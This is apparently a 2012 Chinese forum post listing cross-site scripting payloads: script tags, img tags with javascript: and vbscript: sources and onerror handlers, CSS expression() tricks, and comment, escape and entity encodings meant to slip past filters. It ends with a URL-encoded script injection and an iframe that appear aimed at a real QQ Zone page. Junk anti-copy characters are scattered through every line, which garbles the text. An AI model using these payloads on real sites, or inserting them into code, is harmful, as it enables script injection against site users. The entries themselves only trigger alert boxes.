<script>alert("跨站")</script> (最常用）( k- [6 E" Q% T: j
<img scr=javascript:alert("跨站")></img>
* I2 X1 u2 u" W<img scr="javascript: alert(/跨站/)></img>( J5 v9 Y! j8 P8 L U8 C- C
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）9 M9 H+ Y8 {4 q, W8 Z
<img scr="#" onerror=alert(/跨站/)></img>+ X+ n' v( c7 }3 n% T& s8 Q
<img scr="#" style="xss:expression(alert(/xss/));"></img>8 I$ W* i: ^+ k: z
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
& s' l S: B& v/ o% p<img src=vbscript:msgbox ("xss")></img>; z9 L3 @# Z- K
<style> input {left:expression (alert('xss'))}</style>! S- }; @; g2 `/ j: O: d
<div style={left:expression (alert('xss'))}></div>
1 a! [1 O( p% k w<div style={left:exp/* */ression (alert('xss'))}></div>
& ?% Z5 q. x Y; b<div style={left:\0065\0078ression (alert('xss'))}></div>8 P7 J3 K8 C0 Z% H) u" [9 i
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div># f2 g+ c0 G6 T' s; _0 S& r
unicode <div style="{left:expRessioN (alert('xss'))}">8 h1 m% y4 g' ~6 ^' e; A r
$ r; K. J; {, Y+ R% J l
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
: ?! u9 }/ H# \6 [1 X |
发表于 2012-9-13 17:15:04
收藏
支持
反对